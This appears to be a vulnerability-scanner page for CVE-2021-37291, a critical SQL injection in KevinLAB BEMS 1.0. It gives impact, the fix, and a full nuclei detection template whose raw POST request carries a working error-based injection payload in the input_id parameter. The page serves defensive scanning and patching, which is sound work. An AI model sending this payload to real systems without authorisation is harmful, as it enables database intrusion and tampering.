KevinLAB BEMS 1.0 - SQL Injection

criticalseverity

9.8CVSS score

6.5%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Unauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations.

Fix

Upgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability.

How to confirm it

Send: POST /http/index.php
Positive when: contains "XPATH syntax error" and ": '\\ZSL1ZSL'" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37291 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37291

info:
  name: KevinLAB BEMS 1.0 - SQL Injection
  author: gy741
  severity: critical
  description: |
    KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations.
  remediation: |
    Upgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
    - https://www.exploit-db.com/exploits/50146
    - https://packetstormsecurity.com/files/163572/
    - https://nvd.nist.gov/vuln/detail/cve-2021-37291
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37291
    epss-score: 0.06535
    epss-percentile: 0.93851
    cwe-id: CWE-89
    cpe: cpe:2.3:a:kevinlab:4st_l-bems:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kevinlab
    product: 4st_l-bems
  tags: cve,cve2021,kevinlab,sqli,edb,packetstorm,vkev,vuln

http:
  - raw:
      - |
        POST /http/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate

        requester=login&request=login&params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "XPATH syntax error"
          - ": '\\ZSL1ZSL'"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from